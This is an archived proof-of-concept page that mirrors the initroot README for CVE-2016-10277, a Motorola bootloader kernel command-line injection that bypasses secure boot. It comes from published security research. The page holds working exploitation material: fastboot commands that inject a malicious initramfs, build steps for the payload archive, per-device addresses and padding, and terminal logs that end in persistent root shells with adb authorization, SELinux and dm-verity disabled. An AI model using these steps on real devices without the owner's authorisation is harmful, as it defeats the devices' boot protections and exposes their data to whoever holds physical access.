Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2016-10277 PoC — Android Motorola bootloader 权限许可和访问控制漏洞

Source
Associated Vulnerability
Title:Android Motorola bootloader 权限许可和访问控制漏洞 (CVE-2016-10277)
Description:Android on Nexus 6是美国谷歌(Google)公司和开放手持设备联盟(简称OHA)共同开发的一套运行于Nexus 6(智能手机)等中并以Linux为基础的开源操作系统。Motorola bootloader是其中的一个美国摩托罗拉(Motorola)公司的装载程序。 Nexus 6设备上的Android中的Motorola bootloader存在提权漏洞。攻击者可借助本地恶意的应用程序利用该漏洞在bootloader上下文中执行任意代码。
Description
Motorola Untethered Jailbreak: Exploiting CVE-2016-10277 for Secure Boot and Device Locking bypass 
Readme
# initroot: Motorola Bootloader Kernel Cmdline Injection Secure Boot & Device Locking Bypass (CVE-2016-10277) #

By Roee Hay / Aleph Research, HCL Technologies

## First stage exploit: Tethered jailbreak ##

This exploit gains an ephemeral unrestricted root access on the device.
For example, on `cedric` (some messages were removed for readability):

```terminal
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

```

## Second stage exploit: Untethered jailbreak ##

This exploit gains a persistent root access on the device.
For example, on `athene` (some messages were removed for readabilitiy):

```terminal
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

```

## Producing your own malicious initramfs archive ##

1. Use the commited `initroot-<device>.cpio.gz`, or produce your own:
```
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
```
2. Our commited initramfs images have adb running as root by default. It will not ask for authorization. In addition, dm-verity is disabled on the relevant partitions
```terminal
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
```
3. if you use our initramfs, `adb shell` will now give you a root shell:
```
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
```

## Creating an Untethered exploit for other Moto devices ##

Read our [blog post](https://alephsecurity.com/2017/08/30/untethered-initroot/#persisting-the-payload)


## Verified Devices ##
| Device           | Codename | `SCRATCH_ADDR` | `PADDING`   | committed `initrams` | Unused Partition
|------------------|----------|----------------|-------------|----------------------|---------
| Nexus 6  | `shamu` | `0x11000000`   | `0x0`         | AOSP `userdebug` | `mmcblk0p11`
| Moto G5 (XT1676) | `cedric` | `0xA0100000`   | `0x2000000` | Release, patched `init` and `adbd` to disable SELinux, `set{u,g}id` to shell, capabilities drop and adb auth, etc | `mmcblk0p41`
| Moto G4 (XT1622) | `athene` | `0x90000000`   | `0x2000000` | "" | `mmcblk0p48`


## Community Reported ##
| Device           | Codename | `SCRATCH_ADDR` | Reporter | Description
|------------------|--------------|--------------|--------------|-----------
| Moto G5 Plus  | `potter` |  `0xA0100000` | [drbeat](https://github.com/drbeat)  | Injected boot property. [[proof](https://github.com/alephsecurity/initroot/issues/1)]
| Moto G4 Play (XT1607)  | `harpia` | `0x90000000` | [m-mullins](https://github.com/m-mullins)   | Full Exploitation of  Amazon XT1607. [[proof](https://github.com/m-mullins/InitRoot_Harpia)]
| Moto G4 Play (XT1609)  | `harpia` | `0x90000000` | [@utoprime](https://twitter.com/utoprime)   | Full Exploitation of Verizon XT1609. [[proof](https://twitter.com/utoprime/status/873941023050919936)]
| Moto G4 (XT1625) | `athene` | `0x90000000` | [@EWorcel](https://twitter.com/EWorcel) | Injected initrd that caused boot loops. [[proof](https://twitter.com/roeehay/status/868877672016957440)]  
| Moto G3 | `osprey` | `0x90000000` | [@asiekierka](https://twitter.com/asiekierka) | Injected initrd that caused boot loops. [[proof](https://twitter.com/asiekierka/status/873467107090075648)]
| Moto G2 (XT1072) | `thea` | `0x11000000`  | [@TheElix](https://disqus.com/by/TheElix/) | Injected initrd caused boot loops. [[proof](https://disqus.com/home/discussion/alephsecurity/initroot_hello_moto/#comment-3355705740)]
| Moto G (XT1032) | `falcon_retfr` | `0x11000000`  | [Pierre Zurek](https://disqus.com/by/pierrezurek/) | Full Exploitation with 64MB padding [[proof](http://disq.us/p/1l1uqgb)]
| Moto E (XT830C) | `condor_cdma` | `0x0E000000`  | [fetcher](https://disqus.com/by/disqus_U4zRE0u275/) | Full Exploitation of XT830C locked to Tracfone/Verizon with a 32MB padding [[proof](https://alephsecurity.com/2017/06/07/initroot-moto/#comment-3379229648)]
| Other | - | - | [@jcase](https://twitter.com/jcase) | [[proof](https://twitter.com/jcase/status/868930263782313984)]

## Note ##
This vulnerability may affect other Motorola devices too: a different initramfs will be needed. A different physical address of initrd (`SCRATCH_ADDR`). `PADDING` may vary as well.

## Video Demo ##

[![Video Demo of CVE-2016-10277](http://img.youtube.com/vi/dijRMpv4ktM/0.jpg)](https://www.youtube.com/watch?v=dijRMpv4ktM)

## Publications ##
1. [initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection](https://alephsecurity.com/2017/05/23/nexus6-initroot/)
2. [initroot: Hello Moto](https://alephsecurity.com/2017/06/07/initroot-moto/)
3. [Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass](https://alephsecurity.com/vulns/aleph-2017011)
4. [Untethered initroot (USENIX WOOT '17)](https://alephsecurity.com/2017/08/30/untethered-initroot)
5. [USENIX WOOT '17 paper](https://www.usenix.org/conference/woot17/workshop-program/presentation/hay)


File Snapshot

[4.0K] /data/pocs/c56dc92ee9fce44ec4d48e290f1ba00ca046839d ├── [8.0K] README.md ├── [4.0K] tethered │   ├── [4.0K] athene │   │   ├── [4.0K] athene-xt1622-mpj24.139-63 │   │   │   ├── [ 13] charger -> /sbin/healthd │   │   │   ├── [ 554] default.prop │   │   │   ├── [ 59K] file_contexts │   │   │   ├── [1.4K] fstab.qcom │   │   │   ├── [639K] init │   │   │   ├── [ 144] init.3gb.rc │   │   │   ├── [ 160] init.amxar.rc │   │   │   ├── [ 206] init.amxbr.rc │   │   │   ├── [ 160] init.amxcl.rc │   │   │   ├── [ 160] init.amxco.rc │   │   │   ├── [ 160] init.amxla.rc │   │   │   ├── [ 160] init.amxmx.rc │   │   │   ├── [ 160] init.amxpe.rc │   │   │   ├── [ 128] init.att.rc │   │   │   ├── [ 131] init.bwaca.rc │   │   │   ├── [3.3K] init.class_main.sh │   │   │   ├── [ 267] init.eegb.rc │   │   │   ├── [ 988] init.environ.rc │   │   │   ├── [1.7K] init.mdm.sh │   │   │   ├── [ 553] init.mmi.block_perm.sh │   │   │   ├── [3.3K] init.mmi.boot.sh │   │   │   ├── [ 96] init.mmi.common.rc │   │   │   ├── [ 0] init.mmi.debug.rc │   │   │   ├── [ 740] init.mmi.diag_mdlog.rc │   │   │   ├── [ 1] init.mmi.diag.rc │   │   │   ├── [ 94] init.mmi.dtv.rc │   │   │   ├── [1019] init.mmi.laser.sh │   │   │   ├── [ 221] init.mmi.overlay.rc │   │   │   ├── [ 17K] init.mmi.rc │   │   │   ├── [ 19K] init.mmi.usb.rc │   │   │   ├── [9.3K] init.mmi.usb.sh │   │   │   ├── [ 11K] init.oem.hw.sh │   │   │   ├── [ 185] init.oem.rc │   │   │   ├── [ 150] init.oraes.rc │   │   │   ├── [ 150] init.orafr.rc │   │   │   ├── [2.0K] init.qcom.bms.sh │   │   │   ├── [6.9K] init.qcom.class_core.sh │   │   │   ├── [9.5K] init.qcom.early_boot.sh │   │   │   ├── [ 14K] init.qcom.factory.rc │   │   │   ├── [ 29K] init.qcom.rc │   │   │   ├── [ 16K] init.qcom.sh │   │   │   ├── [2.9K] init.qcom.syspart_fixup.sh │   │   │   ├── [ 28K] init.rc │   │   │   ├── [ 135] init.rcica.rc │   │   │   ├── [1.6K] init.recovery.qcom.rc │   │   │   ├── [8.2K] init.target.rc │   │   │   ├── [2.1K] init.trace.rc │   │   │   ├── [9.1K] init.usb.configfs.rc │   │   │   ├── [5.2K] init.usb.rc │   │   │   ├── [ 133] init.vffr.rc │   │   │   ├── [ 342] init.zygote32.rc │   │   │   ├── [ 738] module_hashes │   │   │   ├── [9.2K] property_contexts │   │   │   ├── [4.0K] res │   │   │   │   └── [4.0K] images │   │   │   │   └── [4.0K] charger │   │   │   │   ├── [1.3K] battery_fail.png │   │   │   │   └── [ 463] battery_scale.png │   │   │   ├── [4.0K] sbin │   │   │   │   ├── [247K] adbd │   │   │   │   ├── [274K] healthd │   │   │   │   ├── [ 65] qcrypto_module.hmac │   │   │   │   ├── [1.1M] qcrypto_module.ko │   │   │   │   ├── [ 65] qdrbg_module.hmac │   │   │   │   ├── [434K] qdrbg_module.ko │   │   │   │   ├── [ 66K] qfintverify │   │   │   │   ├── [ 65] qfintverify.hmac │   │   │   │   ├── [ 7] ueventd -> ../init │   │   │   │   └── [ 7] watchdogd -> ../init │   │   │   ├── [2.4K] seapp_contexts │   │   │   ├── [ 69] selinux_version │   │   │   ├── [299K] sepolicy │   │   │   ├── [ 15K] service_contexts │   │   │   ├── [ 13K] ueventd.qcom.rc │   │   │   ├── [5.3K] ueventd.rc │   │   │   ├── [ 524] verity_key │   │   │   └── [4.0K] xbin │   │   │   ├── [190K] qe │   │   │   ├── [ 3] qee.dat │   │   │   └── [ 256] qem.dat │   │   ├── [4.0K] athene-xt1622-npjs25.93-14-4 │   │   │   ├── [ 50] bugreports -> /data/user_de/0/com.android.shell/files/bugreports │   │   │   ├── [ 13] charger -> /sbin/healthd │   │   │   ├── [ 17] d -> /sys/kernel/debug │   │   │   ├── [ 932] default.prop │   │   │   ├── [ 11] etc -> /system/etc │   │   │   ├── [220K] file_contexts.bin │   │   │   ├── [1.6K] fstab.qcom │   │   │   ├── [888K] init │   │   │   ├── [ 144] init.3gb.rc │   │   │   ├── [ 160] init.amxar.rc │   │   │   ├── [ 206] init.amxbr.rc │   │   │   ├── [ 160] init.amxcl.rc │   │   │   ├── [ 160] init.amxco.rc │   │   │   ├── [ 160] init.amxla.rc │   │   │   ├── [ 160] init.amxmx.rc │   │   │   ├── [ 160] init.amxpe.rc │   │   │   ├── [ 128] init.att.rc │   │   │   ├── [ 131] init.bwaca.rc │   │   │   ├── [3.3K] init.class_main.sh │   │   │   ├── [ 267] init.eegb.rc │   │   │   ├── [1.0K] init.environ.rc │   │   │   ├── [1.7K] init.mdm.sh │   │   │   ├── [ 553] init.mmi.block_perm.sh │   │   │   ├── [4.1K] init.mmi.boot.sh │   │   │   ├── [ 96] init.mmi.common.rc │   │   │   ├── [ 0] init.mmi.debug.rc │   │   │   ├── [ 740] init.mmi.diag_mdlog.rc │   │   │   ├── [ 1] init.mmi.diag.rc │   │   │   ├── [ 94] init.mmi.dtv.rc │   │   │   ├── [1019] init.mmi.laser.sh │   │   │   ├── [ 190] init.mmi.overlay.rc │   │   │   ├── [ 17K] init.mmi.rc │   │   │   ├── [ 634] init.mmi.sensor.rc │   │   │   ├── [ 19K] init.mmi.usb.rc │   │   │   ├── [9.3K] init.mmi.usb.sh │   │   │   ├── [2.0K] init.mmi.volte.rc │   │   │   ├── [ 11K] init.oem.hw.sh │   │   │   ├── [ 185] init.oem.rc │   │   │   ├── [ 150] init.oraes.rc │   │   │   ├── [ 150] init.orafr.rc │   │   │   ├── [2.0K] init.qcom.bms.sh │   │   │   ├── [ 0] init.qcom.build.rc │   │   │   ├── [6.9K] init.qcom.class_core.sh │   │   │   ├── [9.8K] init.qcom.early_boot.sh │   │   │   ├── [ 14K] init.qcom.factory.rc │   │   │   ├── [ 30K] init.qcom.rc │   │   │   ├── [ 11K] init.qcom.sh │   │   │   ├── [2.9K] init.qcom.syspart_fixup.sh │   │   │   ├── [ 24K] init.rc │   │   │   ├── [ 135] init.rcica.rc │   │   │   ├── [1.6K] init.recovery.qcom.rc │   │   │   ├── [8.7K] init.target.rc │   │   │   ├── [9.1K] init.usb.configfs.rc │   │   │   ├── [5.6K] init.usb.rc │   │   │   ├── [ 133] init.vffr.rc │   │   │   ├── [ 439] init.zygote32.rc │   │   │   ├── [ 697] module_hashes │   │   │   ├── [ 13K] property_contexts │   │   │   ├── [4.0K] res │   │   │   │   └── [4.0K] images │   │   │   │   └── [4.0K] charger │   │   │   │   ├── [1.3K] battery_fail.png │   │   │   │   └── [ 463] battery_scale.png │   │   │   ├── [4.0K] sbin │   │   │   │   ├── [676K] adbd │   │   │   │   ├── [507K] healthd │   │   │   │   ├── [ 65] qcrypto_module.hmac │   │   │   │   ├── [1.3M] qcrypto_module.ko │   │   │   │   ├── [ 65] qdrbg_module.hmac │   │   │   │   ├── [532K] qdrbg_module.ko │   │   │   │   ├── [207K] qfintverify │   │   │   │   ├── [ 65] qfintverify.hmac │   │   │   │   ├── [ 7] ueventd -> ../init │   │   │   │   └── [ 7] watchdogd -> ../init │   │   │   ├── [ 21] sdcard -> /storage/self/primary │   │   │   ├── [2.3K] seapp_contexts │   │   │   ├── [336K] sepolicy │   │   │   ├── [ 18K] service_contexts │   │   │   ├── [ 13K] ueventd.qcom.rc │   │   │   ├── [5.5K] ueventd.rc │   │   │   ├── [ 14] vendor -> /system/vendor │   │   │   ├── [ 524] verity_key │   │   │   └── [4.0K] xbin │   │   │   ├── [303K] qe │   │   │   ├── [ 3] qee.dat │   │   │   └── [ 256] qem.dat │   │   ├── [ 34M] initroot-athene-xt1622-mpj24.139-63.cpio.gz │   │   ├── [2.4M] initroot-athene-xt1622-npjs25.93-14-4.cpio.gz │   │   ├── [ 34M] initroot-athene-xt1622-npjs25.93-14-4-padded.cpio.gz │   │   └── [ 103] initroot-tethered.sh │   ├── [4.0K] cedric │   │   ├── [4.0K] cedric-npp25.137-33 │   │   │   ├── [ 13] charger -> /sbin/healthd │   │   │   ├── [ 17] d -> /sys/kernel/debug │   │   │   ├── [ 979] default.prop │   │   │   ├── [ 11] etc -> /system/etc │   │   │   ├── [219K] file_contexts.bin │   │   │   ├── [1.4K] fstab.qcom │   │   │   ├── [872K] init │   │   │   ├── [ 144] init.3gb.rc │   │   │   ├── [ 115] init.acg.rc │   │   │   ├── [ 133] init.altfr.rc │   │   │   ├── [ 160] init.amxar.rc │   │   │   ├── [ 206] init.amxbr.rc │   │   │   ├── [ 160] init.amxcl.rc │   │   │   ├── [ 160] init.amxco.rc │   │   │   ├── [ 160] init.amxla.rc │   │   │   ├── [ 160] init.amxmx.rc │   │   │   ├── [ 160] init.amxpe.rc │   │   │   ├── [ 128] init.att.rc │   │   │   ├── [ 132] init.bwaca.rc │   │   │   ├── [3.2K] init.class_main.sh │   │   │   ├── [ 267] init.eegb.rc │   │   │   ├── [1.0K] init.environ.rc │   │   │   ├── [ 656] init.gbmods.sh │   │   │   ├── [ 115] init.lra.rc │   │   │   ├── [1.7K] init.mdm.sh │   │   │   ├── [ 205] init.mmi.audio.sh │   │   │   ├── [ 862] init.mmi.block_perm.sh │   │   │   ├── [4.0K] init.mmi.boot.sh │   │   │   ├── [1.1K] init.mmi.chipset.rc │   │   │   ├── [ 96] init.mmi.common.rc │   │   │   ├── [ 0] init.mmi.debug.rc │   │   │   ├── [ 740] init.mmi.diag_mdlog.rc │   │   │   ├── [ 1] init.mmi.diag.rc │   │   │   ├── [ 63] init.mmi.dtv.rc │   │   │   ├── [1019] init.mmi.laser.sh │   │   │   ├── [1.4K] init.mmi.overlay.rc │   │   │   ├── [ 17K] init.mmi.rc │   │   │   ├── [ 634] init.mmi.sensor.rc │   │   │   ├── [ 22K] init.mmi.usb.rc │   │   │   ├── [9.5K] init.mmi.usb.sh │   │   │   ├── [2.0K] init.mmi.volte.rc │   │   │   ├── [ 11K] init.oem.hw.sh │   │   │   ├── [ 185] init.oem.rc │   │   │   ├── [ 196] init.oraes.rc │   │   │   ├── [ 196] init.orafr.rc │   │   │   ├── [ 0] init.qcom.build.rc │   │   │   ├── [6.9K] init.qcom.class_core.sh │   │   │   ├── [ 11K] init.qcom.early_boot.sh │   │   │   ├── [3.4K] init.qcom.factory.rc │   │   │   ├── [ 33K] init.qcom.rc │   │   │   ├── [2.0K] init.qcom.sensors.sh │   │   │   ├── [ 12K] init.qcom.sh │   │   │   ├── [2.9K] init.qcom.syspart_fixup.sh │   │   │   ├── [ 24K] init.rc │   │   │   ├── [ 135] init.rcica.rc │   │   │   ├── [ 59] init.retca.rc │   │   │   ├── [8.9K] init.target.rc │   │   │   ├── [9.1K] init.usb.configfs.rc │   │   │   ├── [5.6K] init.usb.rc │   │   │   ├── [ 186] init.usc.rc │   │   │   ├── [ 133] init.vffr.rc │   │   │   ├── [ 59] init.wndca.rc │   │   │   ├── [ 439] init.zygote32.rc │   │   │   ├── [ 615] module_hashes │   │   │   ├── [ 11K] property_contexts │   │   │   ├── [4.0K] res │   │   │   │   └── [4.0K] images │   │   │   │   └── [4.0K] charger │   │   │   │   ├── [1.3K] battery_fail.png │   │   │   │   └── [ 463] battery_scale.png │   │   │   ├── [4.0K] sbin │   │   │   │   ├── [664K] adbd │   │   │   │   ├── [495K] healthd │   │   │   │   ├── [ 18K] su │   │   │   │   ├── [ 7] ueventd -> ../init │   │   │   │   └── [ 7] watchdogd -> ../init │   │   │   ├── [ 21] sdcard -> /storage/self/primary │   │   │   ├── [2.3K] seapp_contexts │   │   │   ├── [ 67] selinux_version │   │   │   ├── [338K] sepolicy │   │   │   ├── [ 20K] service_contexts │   │   │   ├── [ 17K] ueventd.qcom.rc │   │   │   ├── [5.5K] ueventd.rc │   │   │   ├── [ 14] vendor -> /system/vendor │   │   │   ├── [ 524] verity_key │   │   │   └── [4.0K] xbin │   │   │   ├── [291K] qe │   │   │   ├── [ 3] qee.dat │   │   │   └── [ 256] qem.dat │   │   ├── [1.5M] initroot-cedric-npp25.137-33.cpio.gz │   │   ├── [ 34M] initroot-cedric-npp25.137-33.cpio-padded.gz │   │   ├── [1.5M] initroot-cedric-npp25.137-33-upx.cpio.gz │   │   └── [ 94] initroot-tethered.sh │   ├── [ 381] initroot-tethered.sh │   └── [4.0K] shamu │   ├── [1.4M] initroot-shamu-aosp-nmf26f.cpio.gz │   ├── [1.4M] initroot-shamu-aosp-nmf26f-missingdirs.cpio.gz │   ├── [ 84] initroot-tethered.sh │   └── [4.0K] shamu-aosp-nmf26f │   ├── [ 13] charger -> /sbin/healthd │   ├── [ 17] d -> /sys/kernel/debug │   ├── [1.1K] default.prop │   ├── [ 11] etc -> /system/etc │   ├── [100K] file_contexts.bin │   ├── [3.4K] fstab.shamu │   ├── [800K] init │   ├── [ 887] init.environ.rc │   ├── [ 25K] init.rc │   ├── [ 164] init.shamu.diag.rc │   ├── [5.6K] init.shamu.power.rc │   ├── [ 19K] init.shamu.rc │   ├── [ 12K] init.shamu.usb.rc │   ├── [9.1K] init.usb.configfs.rc │   ├── [6.0K] init.usb.rc │   ├── [ 411] init.zygote32.rc │   ├── [4.6K] property_contexts │   ├── [4.0K] res │   │   └── [4.0K] images │   │   ├── [4.0K] charger │   │   │   ├── [1.3K] battery_fail.png │   │   │   └── [ 463] battery_scale.png │   │   └── [4.0K] warning │   │   ├── [ 24K] verity_red_1.png │   │   └── [ 23K] verity_red_2.png │   ├── [4.0K] sbin │   │   ├── [720K] adbd │   │   ├── [511K] healthd │   │   ├── [311K] slideshow │   │   ├── [ 7] ueventd -> ../init │   │   └── [ 7] watchdogd -> ../init │   ├── [ 21] sdcard -> /storage/self/primary │   ├── [ 758] seapp_contexts │   ├── [ 64] selinux_version │   ├── [198K] sepolicy │   ├── [ 11K] service_contexts │   ├── [4.7K] ueventd.rc │   ├── [3.1K] ueventd.shamu.rc │   ├── [ 14] vendor -> /system/vendor │   └── [ 524] verity_key └── [4.0K] untethered ├── [4.0K] athene │   ├── [ 68] initroot-untethered.sh │   ├── [ 22M] padC-ext4-empty │   └── [ 22M] padC-initroot ├── [4.0K] cedric │   ├── [ 68] initroot-untethered.sh │   ├── [4.1M] padA-ext4-empty │   └── [4.1M] padA-initroot ├── [ 601] initroot-untethered.sh └── [4.0K] shamu ├── [ 57] initroot-untethered.sh ├── [4.1M] padA-ext4-empty └── [4.1M] padA-initroot 35 directories, 295 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.